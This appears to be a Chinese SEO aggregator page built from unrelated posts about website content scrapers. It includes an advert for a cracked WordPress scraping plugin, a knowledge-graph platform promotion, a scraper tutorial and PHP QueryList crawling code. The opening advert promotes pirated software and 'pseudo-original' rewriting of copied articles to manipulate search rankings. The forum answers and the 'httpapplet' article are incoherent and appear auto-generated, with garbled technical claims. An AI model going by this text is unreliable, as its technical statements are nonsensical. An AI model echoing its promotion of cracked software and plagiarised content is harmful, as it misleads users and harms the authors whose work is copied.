3、定时采集,手动采集发布或保存到草稿;
4、css样式规则,能更精确的采集需要的内容。
5、伪原创与翻译、代理IP进行采集、保存Cookie记录;

6、可采集内容到自定义栏目
7、解决部分用户使用3.6.1版本导致整站后台与前台卡顿的问题!
----此版本与官方的功能没有任何区别;
WP-AutoPost Pro 在采集方面有什么优势?
一、安装方便,全自动采集,实现无人值守
WP-AutoPost 可以直接在后台插件面板上传安装,只需要点击几下,就可以激活使用。激活后,你可以看到 WP-AutoPost 的管理面板被集成在了左侧,各种采集规则设置一目了然,即便是 WordPress 新手也能很快上手。等到配置完采集规则后,即可以开启任务,WP-AutoPost 会自动采集好目标站的内容,自动发布到你的网站里。
二、采集规则配置简单,支持通配符和 CSS,完美支持 WordPress 各种功能
相比于优采云采集器的繁琐规则,WP-AutoPost Pro 真正做到了人性化,它的定向采集只需要提供文章列表 URL 即可智能采集来自于任何网站或栏目的内容。支持采集标题,正文,可自动设置分类目录、标签、摘要、特色图片,支持自定义栏目、自定义文章类型等。
三、中英文翻译,伪原创的支持
相信很多站长有伪原创这方面的需求,来迎合搜索引擎的喜好。WP-AutoPost Pro 巧妙的内置了各种伪原创工具,支持百度翻译(需要配置接口),也支持国外最优秀伪原创工具 WordAi,Spin Rewriter 等。
四、支持图片等附件下载,支持添加水印,支持 Flick、七牛云等第三方图片存储

WP-AutoPost Pro 还有个令人称赞的地方是支持远程图片下载到本地服务器,也可以下载到像 Flick、七牛云等第三方图片存储,并且可以为图片加上水印(文本水印和图片水印)。
五、强大的 SEO 设置选项
像优采云一样,WP-AutoPost 采集插件也支持 HTML 标签过滤,关键词替换,自动添加链接,添加自定义内容,自定义文章样式等,最大限度得使采集的内容区别于原网站的内容,利于搜索引擎排名。
附加:
WP-AutoPost Pro V3.7.8
特别说明:
1. 本插件是基于 WP-AutoPost Pro对应版本破解修复版,耗费了店主的大量时间与精力。
2.本版本主要修复了:规则正确后采集找不到文章内容和标题(采集整版二次验证问题),翻译功能无法使用的问题。
3.不要说买完用不了(不提供技术支持,插件官网有教程),建议有基础知识的朋友购买。
详细使用教程
网站内容采集器上百度是常事,原因很简单
网站优化 • 优采云 发表了文章 • 0 个评论 • 140 次浏览 • 2022-08-27 19:01
网站内容采集器上百度是常事,原因一是用户习惯所致,比如搜索法律不健全、大城市等,就会搜索法律及大城市类网站。二是出于效率考虑,中小企业网站内容采集是很常见的情况。
你们觉得自己网站不重要,不能给他们带来利益,就这么简单,要是有人能抓到这些就没工夫去做了。
新三板上市公司直接弄个网站让他们找投资人。
原因很简单,就是少写外链。谁需要看你的内容。
站点的用户群体是那类人?用户目标不同就不同了
采集别人站点文章,然后找一些小网站投放广告呗,做广告比站点搬运容易。
百度就知道好处
我觉得楼主想问的并不是“站点把发外链赚来的钱给了谁”,是想问“一大堆站对一大堆站发布外链,
没钱就比较难追
在通往理想的路上,常常碰到来自各种各样的阻力,甚至有些外部力量的阻力是你无法左右的,可以说就是你想追求的目标是什么?外链?那就更多的外链。
对于百度蜘蛛来说外链是没有用的
给钱
你不投钱百度自己就会给你
都是自己的关键词排名不在第一
站采集是赚钱的,
谢邀,
站内推广技术
采集技术高
楼主的意思是百度会限制非头部出现在前面吧?那就只能是靠广告,roi的高低,google会限制非头部出现在第一页就能看到别人的seo结果。 查看全部
网站内容采集器上百度是常事,原因很简单
网站内容采集器上百度是常事,原因一是用户习惯所致,比如搜索法律不健全、大城市等,就会搜索法律及大城市类网站。二是出于效率考虑,中小企业网站内容采集是很常见的情况。
你们觉得自己网站不重要,不能给他们带来利益,就这么简单,要是有人能抓到这些就没工夫去做了。
新三板上市公司直接弄个网站让他们找投资人。
原因很简单,就是少写外链。谁需要看你的内容。
站点的用户群体是那类人?用户目标不同就不同了
采集别人站点文章,然后找一些小网站投放广告呗,做广告比站点搬运容易。

百度就知道好处
我觉得楼主想问的并不是“站点把发外链赚来的钱给了谁”,是想问“一大堆站对一大堆站发布外链,
没钱就比较难追
在通往理想的路上,常常碰到来自各种各样的阻力,甚至有些外部力量的阻力是你无法左右的,可以说就是你想追求的目标是什么?外链?那就更多的外链。
对于百度蜘蛛来说外链是没有用的
给钱

你不投钱百度自己就会给你
都是自己的关键词排名不在第一
站采集是赚钱的,
谢邀,
站内推广技术
采集技术高
楼主的意思是百度会限制非头部出现在前面吧?那就只能是靠广告,roi的高低,google会限制非头部出现在第一页就能看到别人的seo结果。
科技创新|态极数据经纬时空知识管理(四)
网站优化 • 优采云 发表了文章 • 0 个评论 • 309 次浏览 • 2022-08-23 22:59
04
时空知识图谱构建案例
态极数据经纬智能知识管理平台DFKM是时空知识图的“智能”数据平台:融合领域地上、地下时空基准网与感知数据统管共用和多源感知终端为“时空一张图”,构建时空人工智能大模型,实现时空智能问答、时空智能推荐及时空智能分析,可作为时空人工智能、数字孪生的数据融合知识发现平台。
数据源:数据源由TransSpider网页采集器进行采集,主要采集51job等招聘网站的招聘岗位数据。
构建过程:
1、TransSpider 网页采集器配置,爬取51job招聘网站信息;
2、爬取数据预处理成为指定csv格式;
3、概念设计创建本体,本体属性,关系,关系规则创建资源目录,并上传文件;
4、创建资源字段对应的资源字段;
5、创建提取规则(实体提取,实体特征提取,关系提取,关系特征提取);
6、新建提取任务 。
应用场景参考:
1、基于用户掌握的专业技能进行岗位的推荐;
2、基于能力图谱构建专业领域的知识问题系统;
3、通过引入知识图谱中的实体以及实体的描述信息丰富语义,优化信息检索模型,可灵活支持各类实体搜索,让人才搜索更便捷,更智能;
4、基于庞大的知识图谱和数据支持,针对职位的市场人才数据情况进行洞察,招聘前先掌握人才市场分布情况,薪资情况。
数据源:数据源OSM地图数据转换文件、百度交通拥堵数据、气象数据;
构建过程:
1、源数据采集,通过TransDFKM的DCA进行对源数据进行接入;
2、对接入数据根据图谱构建的概念进行对数据分析,对数据拆解为本体数据、本体特征数据、关系数据、关系特征数据等;
3、将分析后的数据根据分析结果对数据进行相应的预处理,形成KEE数据输入源;
4、使用TransDFKM的TransStudio工作台进行模型构建(本体创建、本体分类特征创建、关系规则创建、关系特征分类创建);
5、使用TransDFKM的TransStudio工作台进新KEE提取任务设置(创建资源目录,并上传文件,创建资源字段对应的资源字段,创建提取规则【实体提取,实体特征提取,关系提取,关系特征提取】,新建提取任务)。
应用场景参考:
1、道路网络360画像 ;
2、交通网络流预测;
3、道路网络的动力学传播分析;
4、道路网瓶颈路段分析;
5、路网交通流分配分析;
6、交通需求社区结构及交互特性;
7、交通需求热点发现;
8、交通需求空间自相关性;
数据源:赛文交通网公众号;
构建过程:
1、使用爬虫引擎爬取互联网数据转换为文档文件或通过人工手动进行上传文档数据;
2、将收集的文档数据进行统一存储;
3、通过界面设置提取任务,上传转换后的docx文档进行数据提取并设置任务发布状态为自动发布或者关闭自动发布或者通过监控引擎监控新的文档进行任务的自动构建;
4、通过智能文档提取引擎将数据提取至开发图数据库;
5、未开启自动发布时人工校验数据,校验不合格返回到提取任务提取,进行新版本数据提取,校验合格后手动进行数据发布;
6、开启自动发布,数据在提取完成后直接提取到发布到生产图数据库中。
应用场景参考:
1、下一个词的建议:可以考虑当前一个或任意数量的先前单词来建议下一个单词;
2、高级搜索引擎:当我们拥有单词的顺序以及它们之间的依赖关系的信息时,可以实现高级搜索功能,其中除了检查单词的确切顺序之外,还可以考虑某些单词在我们的目标之间的情况并提供一些建议;
3、基于内容的推荐:通过将文本分解成组件,可以比较项目描述(产品等)
以图网络的形式表示时空数据和非结构化文档信息,提供了统一且灵活的隐藏在数据中时空知识的探索模式。
05
TransDFKM 应用场景
基于对人、车、路、地、物、事的时空感知、数据管理和智能分析能力,打造基于个体行为模型的可计算全息路网的数字交通智能数据底座平台,支持精准、实时、全面的数字交通场景应用,实现能感知、有知识、可进化、 会做事的综合交通运输大数据支撑体系。
实时交通孪生仿真-交通态势实时感知:采集感知数据->集成接入->数据经纬智能知识管理平台->时空知识图谱->三维实景引擎->三维可视化,良好网络情况下,可达100毫秒时延。
实现了接近90%准确率的交通流预测,全网路段单次预测未来12小时耗时仅2.324ms
厦门市思明区西北部路网
坐标范围:118.077°24.464° 118.108° 24.482°
原始法构建道路路网(直接利用态极时空知识图谱的道路网络子图谱)
236 路段进行路网空间特征
流量特征(车速)提取,直接抽取态极时空知识图谱的路段流量特征数据(静态关系动态特征)
交通流预测模型:时空图卷积神经网络(Graph WaveNet)
交通流预测——预测结果对比(2020.06.24-2020.06.26)
基于微内容的原子知识管理 查看全部
科技创新|态极数据经纬时空知识管理(四)
04
时空知识图谱构建案例
态极数据经纬智能知识管理平台DFKM是时空知识图的“智能”数据平台:融合领域地上、地下时空基准网与感知数据统管共用和多源感知终端为“时空一张图”,构建时空人工智能大模型,实现时空智能问答、时空智能推荐及时空智能分析,可作为时空人工智能、数字孪生的数据融合知识发现平台。
数据源:数据源由TransSpider网页采集器进行采集,主要采集51job等招聘网站的招聘岗位数据。
构建过程:
1、TransSpider 网页采集器配置,爬取51job招聘网站信息;
2、爬取数据预处理成为指定csv格式;
3、概念设计创建本体,本体属性,关系,关系规则创建资源目录,并上传文件;
4、创建资源字段对应的资源字段;
5、创建提取规则(实体提取,实体特征提取,关系提取,关系特征提取);
6、新建提取任务 。
应用场景参考:
1、基于用户掌握的专业技能进行岗位的推荐;
2、基于能力图谱构建专业领域的知识问题系统;
3、通过引入知识图谱中的实体以及实体的描述信息丰富语义,优化信息检索模型,可灵活支持各类实体搜索,让人才搜索更便捷,更智能;
4、基于庞大的知识图谱和数据支持,针对职位的市场人才数据情况进行洞察,招聘前先掌握人才市场分布情况,薪资情况。
数据源:数据源OSM地图数据转换文件、百度交通拥堵数据、气象数据;
构建过程:
1、源数据采集,通过TransDFKM的DCA进行对源数据进行接入;
2、对接入数据根据图谱构建的概念进行对数据分析,对数据拆解为本体数据、本体特征数据、关系数据、关系特征数据等;
3、将分析后的数据根据分析结果对数据进行相应的预处理,形成KEE数据输入源;
4、使用TransDFKM的TransStudio工作台进行模型构建(本体创建、本体分类特征创建、关系规则创建、关系特征分类创建);

5、使用TransDFKM的TransStudio工作台进新KEE提取任务设置(创建资源目录,并上传文件,创建资源字段对应的资源字段,创建提取规则【实体提取,实体特征提取,关系提取,关系特征提取】,新建提取任务)。
应用场景参考:
1、道路网络360画像 ;
2、交通网络流预测;
3、道路网络的动力学传播分析;
4、道路网瓶颈路段分析;
5、路网交通流分配分析;
6、交通需求社区结构及交互特性;
7、交通需求热点发现;
8、交通需求空间自相关性;
数据源:赛文交通网公众号;
构建过程:
1、使用爬虫引擎爬取互联网数据转换为文档文件或通过人工手动进行上传文档数据;
2、将收集的文档数据进行统一存储;
3、通过界面设置提取任务,上传转换后的docx文档进行数据提取并设置任务发布状态为自动发布或者关闭自动发布或者通过监控引擎监控新的文档进行任务的自动构建;
4、通过智能文档提取引擎将数据提取至开发图数据库;
5、未开启自动发布时人工校验数据,校验不合格返回到提取任务提取,进行新版本数据提取,校验合格后手动进行数据发布;
6、开启自动发布,数据在提取完成后直接提取到发布到生产图数据库中。
应用场景参考:
1、下一个词的建议:可以考虑当前一个或任意数量的先前单词来建议下一个单词;
2、高级搜索引擎:当我们拥有单词的顺序以及它们之间的依赖关系的信息时,可以实现高级搜索功能,其中除了检查单词的确切顺序之外,还可以考虑某些单词在我们的目标之间的情况并提供一些建议;
3、基于内容的推荐:通过将文本分解成组件,可以比较项目描述(产品等)

以图网络的形式表示时空数据和非结构化文档信息,提供了统一且灵活的隐藏在数据中时空知识的探索模式。
05
TransDFKM 应用场景
基于对人、车、路、地、物、事的时空感知、数据管理和智能分析能力,打造基于个体行为模型的可计算全息路网的数字交通智能数据底座平台,支持精准、实时、全面的数字交通场景应用,实现能感知、有知识、可进化、 会做事的综合交通运输大数据支撑体系。
实时交通孪生仿真-交通态势实时感知:采集感知数据->集成接入->数据经纬智能知识管理平台->时空知识图谱->三维实景引擎->三维可视化,良好网络情况下,可达100毫秒时延。
实现了接近90%准确率的交通流预测,全网路段单次预测未来12小时耗时仅2.324ms
厦门市思明区西北部路网
坐标范围:118.077°24.464° 118.108° 24.482°
原始法构建道路路网(直接利用态极时空知识图谱的道路网络子图谱)
236 路段进行路网空间特征
流量特征(车速)提取,直接抽取态极时空知识图谱的路段流量特征数据(静态关系动态特征)
交通流预测模型:时空图卷积神经网络(Graph WaveNet)
交通流预测——预测结果对比(2020.06.24-2020.06.26)
基于微内容的原子知识管理
网站内容采集器plugin是用一些javascript开发的,获取整站内容存储的
网站优化 • 优采云 发表了文章 • 0 个评论 • 112 次浏览 • 2022-08-13 10:06
网站内容采集器plugin是用一些javascript开发的,获取整站内容存储的。具体使用方法,我就不详细给你介绍了,可以看我的上一篇文章。获取整站内容的网站可以分为以下几种:基于httpapplet的网站plugin基于svn的网站plugin基于jsscript的网站plugin基于iis的网站plugin基于xml等文件的网站plugin这一类还包括很多名字,大多使用javascript进行网站内容编码,如json,jpg,javascriptxml,xmlxml文件。
httpapplet,简单来说就是基于webkit和javascript引擎的网站采集器。通过这种方式,我们可以直接从本地文件中去爬取并下载。通过httpapplet的爬取机制,可以高效的获取网站内容。这类网站会把所有url编码为字符串形式,在保存文件时将其转为php或者其他语言形式保存。网站内容编码转换php保存xmlxml文件网站内容保存成index.php样式后查看httpapplet爬取器支持基于字符编码的http协议http协议使用apache作为内核,所以具体如何编码http,请自行百度相关文章。
文件编码不支持大多数主流语言编码。网站模块目前开发的基于xml文件生成的plugin也可以保存网站编码问题。php文件保存到本地后,通过xml解析器,我们可以根据需要获取相应的网站内容,保存为xml格式。在进行查看的时候,我们可以通过post保存到本地,这样我们可以即时看到相应的网站内容,也可以方便的通过浏览器,直接查看即时内容。
phphttpparser如果对http协议不太了解,可以看我之前写的文章。http_parser什么时候需要加一个filter方法?为什么不能简单粗暴的保存http不加filter的xml文件?httpparser生成xml格式的网站内容我们之前提到过,可以通过反向代理地址寻找网站并保存;可以通过http代理的地址去获取相应网站内容。如果你需要得到一个代理服务器的地址,那么保存它就是一个有意义的事情。 查看全部
网站内容采集器plugin是用一些javascript开发的,获取整站内容存储的
网站内容采集器plugin是用一些javascript开发的,获取整站内容存储的。具体使用方法,我就不详细给你介绍了,可以看我的上一篇文章。获取整站内容的网站可以分为以下几种:基于httpapplet的网站plugin基于svn的网站plugin基于jsscript的网站plugin基于iis的网站plugin基于xml等文件的网站plugin这一类还包括很多名字,大多使用javascript进行网站内容编码,如json,jpg,javascriptxml,xmlxml文件。

httpapplet,简单来说就是基于webkit和javascript引擎的网站采集器。通过这种方式,我们可以直接从本地文件中去爬取并下载。通过httpapplet的爬取机制,可以高效的获取网站内容。这类网站会把所有url编码为字符串形式,在保存文件时将其转为php或者其他语言形式保存。网站内容编码转换php保存xmlxml文件网站内容保存成index.php样式后查看httpapplet爬取器支持基于字符编码的http协议http协议使用apache作为内核,所以具体如何编码http,请自行百度相关文章。

文件编码不支持大多数主流语言编码。网站模块目前开发的基于xml文件生成的plugin也可以保存网站编码问题。php文件保存到本地后,通过xml解析器,我们可以根据需要获取相应的网站内容,保存为xml格式。在进行查看的时候,我们可以通过post保存到本地,这样我们可以即时看到相应的网站内容,也可以方便的通过浏览器,直接查看即时内容。
phphttpparser如果对http协议不太了解,可以看我之前写的文章。http_parser什么时候需要加一个filter方法?为什么不能简单粗暴的保存http不加filter的xml文件?httpparser生成xml格式的网站内容我们之前提到过,可以通过反向代理地址寻找网站并保存;可以通过http代理的地址去获取相应网站内容。如果你需要得到一个代理服务器的地址,那么保存它就是一个有意义的事情。
网站内容采集器与站长工具箱差不多怎么办
网站优化 • 优采云 发表了文章 • 0 个评论 • 106 次浏览 • 2022-08-07 22:05
网站内容采集器一般来说和seo工具差不多。站长工具箱会经常更新。
目前只做了seo工具箱,站长宝包含很多seo工具,主要还是资源整合方面。
社交工具:推他
现在主要在用站长工具箱
网站内容采集器也有站长工具箱这个工具的,
网站内容采集器
站长工具箱蛮好用的
推荐网站内容采集器
站长工具箱很好用,
站长工具箱不错,
站长工具箱挺好用的。
站长工具箱,内容采集站采集干货,挺好用的。
站长工具箱
网站内容采集器与站长工具箱差不多,主要功能是资源整合,主要应用于站长、seo新手。其他软件也有,需要的话可以自己去判断。
站长工具箱不错,资源整合性较强,采集整合干货,页面文章查看,然后再统计页面分析需要的条件。
站长工具箱资源整合比较强,站长工具箱的话以站长得账号管理为主,站长工具箱主要以站长得账号管理和站长首页干货为主,资源整合多用于站长工具箱,站长工具箱一般站长工具箱和站长一起推出了,站长工具箱以站长服务为主的站长工具箱。
站长工具箱,资源整合很方便,
站长工具箱不错 查看全部
网站内容采集器与站长工具箱差不多怎么办
网站内容采集器一般来说和seo工具差不多。站长工具箱会经常更新。
目前只做了seo工具箱,站长宝包含很多seo工具,主要还是资源整合方面。
社交工具:推他
现在主要在用站长工具箱
网站内容采集器也有站长工具箱这个工具的,

网站内容采集器
站长工具箱蛮好用的
推荐网站内容采集器
站长工具箱很好用,
站长工具箱不错,
站长工具箱挺好用的。

站长工具箱,内容采集站采集干货,挺好用的。
站长工具箱
网站内容采集器与站长工具箱差不多,主要功能是资源整合,主要应用于站长、seo新手。其他软件也有,需要的话可以自己去判断。
站长工具箱不错,资源整合性较强,采集整合干货,页面文章查看,然后再统计页面分析需要的条件。
站长工具箱资源整合比较强,站长工具箱的话以站长得账号管理为主,站长工具箱主要以站长得账号管理和站长首页干货为主,资源整合多用于站长工具箱,站长工具箱一般站长工具箱和站长一起推出了,站长工具箱以站长服务为主的站长工具箱。
站长工具箱,资源整合很方便,
站长工具箱不错
网站内容采集器的成功和失败来明确应用的意义
网站优化 • 优采云 发表了文章 • 0 个评论 • 148 次浏览 • 2022-07-25 06:01
网站内容采集器又称“百度采集器”,网站内容采集工具是通过公开的内容采集源来采集网站上的内容,提供商业模式盈利的采集器应用。这类工具与工具集不同于正规的采集器集。很多工具采集工具大多数是收费的,采集源的质量也很难得到保证。采集的内容与网站的内容几乎是无关的。分析某种采集方式的成功和失败来明确应用这一采集工具是有意义的。
成功案例:某品牌企业的产品管理以及销售,寻找资源,包括直接和间接方式获取合适的渠道客户,统一资源管理,统一进行产品和公司管理的分析。企业销售业绩提升,取得精准的社会化传播渠道并稳步增长。发现问题和机会:管理人员担心采集内容导致类似的内容流入其他公司,导致对原创内容的不尊重。利用市场竞争对手的优势特色,提高产品价值。
1个采集工具:googlethunderbird2个采集软件:weiziradio做好决策:1内容采集器公司找到您后,咨询了解您的需求,了解您的业务,进而评估您的需求,看您的经济条件是否能承受采集量,产品价格等。2选择做这种销售模式,是否在未来有良好的现金流。我公司研发团队小编教你从零开始入门采集工具应用,他是这样做的。
从市场营销角度来说,销售过程就是客户先购买产品,才能帮助企业完成销售工作。销售人员:(采集工具销售人员)。
1、客户在哪里?这要看你是哪个行业的采集工具,有些是说这产品能够帮助您根据网页生成的图片采集内容,当用户点击该链接进入后,用户是通过浏览器或者app搜索,将您的内容抓取,然后进行“内容营销”。如果遇到生成图片流量比较小或者怎么关键词都无法搜索到的页面或者企业公司都无法说清的页面,又或者客户搜索内容和您采集的内容不一致,我们就无法做采集工作。
2、采集哪个渠道?尽量选择上游公司或者官方或者当地企业、政府机构、发行部门等。另外有些采集软件会采集非法的图片或者音频。每天抓取的图片越多,效果越差,直接影响点击率和数据库库存,所以采集工具应该尽量抓取上游公司或者官方,他们在不能提供明确价值给客户前,不对外推荐,他们推荐,让他们认为有利润、会有大量需求,抓取的质量和时间可控。如果您经济条件允许,我们非常欢迎能够收购。
3、采集量和采集时间?这个不好估计,我们一般从0.1-10万之间,我们收购的是单篇图片。如果您要抓取时间段,我们就采集全国,全国统一个频道统一抓取,抓取的时间间隔大于两个小时。每个采集软件要统一开发程序或者换不同的抓取软件。
4、哪里定价?收购哪个公司不是目的,最终目的是要提供给客户一个方便, 查看全部
网站内容采集器的成功和失败来明确应用的意义
网站内容采集器又称“百度采集器”,网站内容采集工具是通过公开的内容采集源来采集网站上的内容,提供商业模式盈利的采集器应用。这类工具与工具集不同于正规的采集器集。很多工具采集工具大多数是收费的,采集源的质量也很难得到保证。采集的内容与网站的内容几乎是无关的。分析某种采集方式的成功和失败来明确应用这一采集工具是有意义的。
成功案例:某品牌企业的产品管理以及销售,寻找资源,包括直接和间接方式获取合适的渠道客户,统一资源管理,统一进行产品和公司管理的分析。企业销售业绩提升,取得精准的社会化传播渠道并稳步增长。发现问题和机会:管理人员担心采集内容导致类似的内容流入其他公司,导致对原创内容的不尊重。利用市场竞争对手的优势特色,提高产品价值。

1个采集工具:googlethunderbird2个采集软件:weiziradio做好决策:1内容采集器公司找到您后,咨询了解您的需求,了解您的业务,进而评估您的需求,看您的经济条件是否能承受采集量,产品价格等。2选择做这种销售模式,是否在未来有良好的现金流。我公司研发团队小编教你从零开始入门采集工具应用,他是这样做的。
从市场营销角度来说,销售过程就是客户先购买产品,才能帮助企业完成销售工作。销售人员:(采集工具销售人员)。
1、客户在哪里?这要看你是哪个行业的采集工具,有些是说这产品能够帮助您根据网页生成的图片采集内容,当用户点击该链接进入后,用户是通过浏览器或者app搜索,将您的内容抓取,然后进行“内容营销”。如果遇到生成图片流量比较小或者怎么关键词都无法搜索到的页面或者企业公司都无法说清的页面,又或者客户搜索内容和您采集的内容不一致,我们就无法做采集工作。

2、采集哪个渠道?尽量选择上游公司或者官方或者当地企业、政府机构、发行部门等。另外有些采集软件会采集非法的图片或者音频。每天抓取的图片越多,效果越差,直接影响点击率和数据库库存,所以采集工具应该尽量抓取上游公司或者官方,他们在不能提供明确价值给客户前,不对外推荐,他们推荐,让他们认为有利润、会有大量需求,抓取的质量和时间可控。如果您经济条件允许,我们非常欢迎能够收购。
3、采集量和采集时间?这个不好估计,我们一般从0.1-10万之间,我们收购的是单篇图片。如果您要抓取时间段,我们就采集全国,全国统一个频道统一抓取,抓取的时间间隔大于两个小时。每个采集软件要统一开发程序或者换不同的抓取软件。
4、哪里定价?收购哪个公司不是目的,最终目的是要提供给客户一个方便,
【教程】使用优采云采集器软件爬取网页数据
网站优化 • 优采云 发表了文章 • 0 个评论 • 143 次浏览 • 2022-07-15 01:38
地图可视化离不开数据的支撑,很多人苦于无法获取数据或者不知道怎么获取数据,可能很多人听说过“爬虫”,也听说过通过Python来“写爬虫”,毕竟这是获取网页数据的主要手段之一。但是对于很多不熟悉Python语言的人来说,“写爬虫”的技术难度高,学习过程耗时。今天,我们将介绍一个数据采集软件——优采云采集器,并提供一个简要使用教程,使您无需编写代码就可以爬取网页数据。
在开始收集数据前,我们需进去优采云采集器官网,下载软件并安装。网址:,可点击左下“阅读原文”可直接访问。
爬取网页数据的步骤:
1.打开优采云采集器。
2.新建分组:菜单栏“开始”,点击新建分组,输入采集网站名称为分组名称,(通常在“采网址”和“采内容”选项下打勾)。
3.新建任务:选择新建的分组,点击“新建任务”或者鼠标右键选择“新建任务”,进入到新建页面。任务规则名为采集的对象名。新建任务界面中,包含四个步骤:网址采集规则、内容采集规则、内容发布规则和其他设置。
4.添加网址
第一步:网址采集规则
查看需爬取网址的特点,选择起始网址的添加方式(普通网址、批量网址、文本导入和数据库导入)。点击起始网址任务条中的“向导编辑”,在网址格式中添加地址,确定即可。本例选取北京市安居客小区网址为例,经观察测试可知,网页的网址出现规律,选择批量网址。
回到“网址采集规则”页面,设置起始网址就是内容页网址,并给“任务规则名”命名。网页。
第二步:内容采集规则
打开北京安居客网址,F12或(Fn+F12),点击鼠标选取方式。通过鼠标依次点小区名称、小区地址以及当月价格等网页中所需要的信息对应的位置,获取相关代码,鼠标右键,复制选择。
根据这些HTML内容和自己需要的内容,在标签列表中,点击操作任务栏中的“添加”来增加新的标签,或者点击已有的标签,进行修改。在标签编辑栏中,标签提取方式有前后截取、正则提取、正文提取等方式。数据处理对话框中,文件下载中的数据支持图片、flash等文件。
*号为所需要采集的参数。
输入网页网址,测试结果。
测试结果无误后,选择数据保存。注意:保存文件时,模板设置一定要与收集的数据字段一致。
运行。
结果查看。
优采云采集器不仅仅可以采集网页数据,还可以基于API进行数据采集。大家不妨操作试试,定会有不一样的收获(杨慧测试、撰写)。 查看全部
【教程】使用优采云采集器软件爬取网页数据
地图可视化离不开数据的支撑,很多人苦于无法获取数据或者不知道怎么获取数据,可能很多人听说过“爬虫”,也听说过通过Python来“写爬虫”,毕竟这是获取网页数据的主要手段之一。但是对于很多不熟悉Python语言的人来说,“写爬虫”的技术难度高,学习过程耗时。今天,我们将介绍一个数据采集软件——优采云采集器,并提供一个简要使用教程,使您无需编写代码就可以爬取网页数据。
在开始收集数据前,我们需进去优采云采集器官网,下载软件并安装。网址:,可点击左下“阅读原文”可直接访问。
爬取网页数据的步骤:
1.打开优采云采集器。
2.新建分组:菜单栏“开始”,点击新建分组,输入采集网站名称为分组名称,(通常在“采网址”和“采内容”选项下打勾)。
3.新建任务:选择新建的分组,点击“新建任务”或者鼠标右键选择“新建任务”,进入到新建页面。任务规则名为采集的对象名。新建任务界面中,包含四个步骤:网址采集规则、内容采集规则、内容发布规则和其他设置。
4.添加网址

第一步:网址采集规则
查看需爬取网址的特点,选择起始网址的添加方式(普通网址、批量网址、文本导入和数据库导入)。点击起始网址任务条中的“向导编辑”,在网址格式中添加地址,确定即可。本例选取北京市安居客小区网址为例,经观察测试可知,网页的网址出现规律,选择批量网址。
回到“网址采集规则”页面,设置起始网址就是内容页网址,并给“任务规则名”命名。网页。
第二步:内容采集规则
打开北京安居客网址,F12或(Fn+F12),点击鼠标选取方式。通过鼠标依次点小区名称、小区地址以及当月价格等网页中所需要的信息对应的位置,获取相关代码,鼠标右键,复制选择。
根据这些HTML内容和自己需要的内容,在标签列表中,点击操作任务栏中的“添加”来增加新的标签,或者点击已有的标签,进行修改。在标签编辑栏中,标签提取方式有前后截取、正则提取、正文提取等方式。数据处理对话框中,文件下载中的数据支持图片、flash等文件。
*号为所需要采集的参数。

输入网页网址,测试结果。
测试结果无误后,选择数据保存。注意:保存文件时,模板设置一定要与收集的数据字段一致。
运行。
结果查看。
优采云采集器不仅仅可以采集网页数据,还可以基于API进行数据采集。大家不妨操作试试,定会有不一样的收获(杨慧测试、撰写)。
[精选] PHP也是可以用来做异步爬取数据的
网站优化 • 优采云 发表了文章 • 0 个评论 • 115 次浏览 • 2022-07-04 21:21
$ql = QueryList::getInstance();<br style="outline: 0px;" /><br style="outline: 0px;" />//绑定一个myHttp方法到QueryList对象<br style="outline: 0px;" />$ql->bind('myHttp',function ($url){<br style="outline: 0px;" /> $html = file_get_contents($url);<br style="outline: 0px;" /> $this->setHtml($html);<br style="outline: 0px;" /> return $this;<br style="outline: 0px;" />});<br style="outline: 0px;" /><br style="outline: 0px;" />//然后就可以通过注册的名字来调用<br style="outline: 0px;" />$data = $ql->myHttp('https://toutiao.io')->find('h3 a')->texts();<br style="outline: 0px;" />print_r($data->all());<br style="outline: 0px;" />
或者把实现体封装到class,然后这样绑定:
$ql->bind('myHttp',function ($url){<br style="outline: 0px;" /> return new MyHttp($this,$url);<br style="outline: 0px;" />});<br style="outline: 0px;" />
插件使用
使用CURL多线程插件,多线程采集GitHub排行榜:
$ql = QueryList::use(CurlMulti::class);<br style="outline: 0px;" />$ql->curlMulti([<br style="outline: 0px;" /> 'https://github.com/trending/php',<br style="outline: 0px;" /> 'https://github.com/trending/go',<br style="outline: 0px;" /> //.....more urls<br style="outline: 0px;" />])<br style="outline: 0px;" /> // 每个任务成功完成调用此回调<br style="outline: 0px;" /> ->success(function (QueryList $ql,CurlMulti $curl,$r){<br style="outline: 0px;" /> echo "Current url:{$r['info']['url']} \r\n";<br style="outline: 0px;" /> $data = $ql->find('h3 a')->texts();<br style="outline: 0px;" /> print_r($data->all());<br style="outline: 0px;" />})<br style="outline: 0px;" /> // 每个任务失败回调<br style="outline: 0px;" />->error(function ($errorInfo,CurlMulti $curl){<br style="outline: 0px;" /> echo "Current url:{$errorInfo['info']['url']} \r\n";<br style="outline: 0px;" /> print_r($errorInfo['error']);<br style="outline: 0px;" />})<br style="outline: 0px;" />->start([<br style="outline: 0px;" /> // 最大并发数<br style="outline: 0px;" /> 'maxThread' => 10,<br style="outline: 0px;" /> // 错误重试次数<br style="outline: 0px;" /> 'maxTry' => 3,<br style="outline: 0px;" />]);<br style="outline: 0px;" />
更多详细请查看GitHub:
让你更好的学习php爬虫,小编推荐一套视频教程【ThinkPHP6+Querylist实战开发】希望以后你们能用得着。
获取地址:
课程目录
课时1 实战实录 tp6开发PHP手册统计项目 - 介绍09:29
课时2【实战实录】PHP手册统计-项目分析09:45
课时3【实战实录】PHP手册统计用querylist采集08:56
课时4 PHP手册统计获取到了一个文件的所属上级04:22
课时5 PHP手册统计建立表对接15040个页面10:01
课时6 PHP手册统计完成15037个页面名称存入数据库05:58
课时7 完成了除包含php字符的对应目录的入库12:03
课时8 初步实现和了解了php手册各栏目的页面数量12:20
课时9 v1.0版上线源码可以通过github查看通过composer安装06:25
课时10 入门php的cli命令行模式 即使获得进度13:14
课时11 正式进入v2.0版本 cli模式作为主要运行对象09:30
课时12 实现了一级目录的数据量统计11:26
课时13 重写了一个激动人心的采集规则22:26
课时14 针对目录不一致问题 增加字段统计比对05:16
课时15 应用递归实现从文件获取其完整目录12:27
课时16 通过递归补齐没有path的文件17:01
课时17 用递归排查完成总数不一致问题08:10
课时18 用递归完成了基本tree树形分类14:49
课时19 完成前端tree树形分类用zTree实现08:10
课时20 完成前端11个栏目的树形分类11:41
课时21 第一版完可以预览子目录数量的目录完成07:16
课时22 第一版完可以预览子目录数量的目录完成07:16
课时23 完成第一套完整的统计带统计分析的php手册12:50
课时24 统计结果html上线gitee直接浏览07:26
课时25 PHP手册统计项目 - 总结
文章来自:
END 查看全部
[精选] PHP也是可以用来做异步爬取数据的
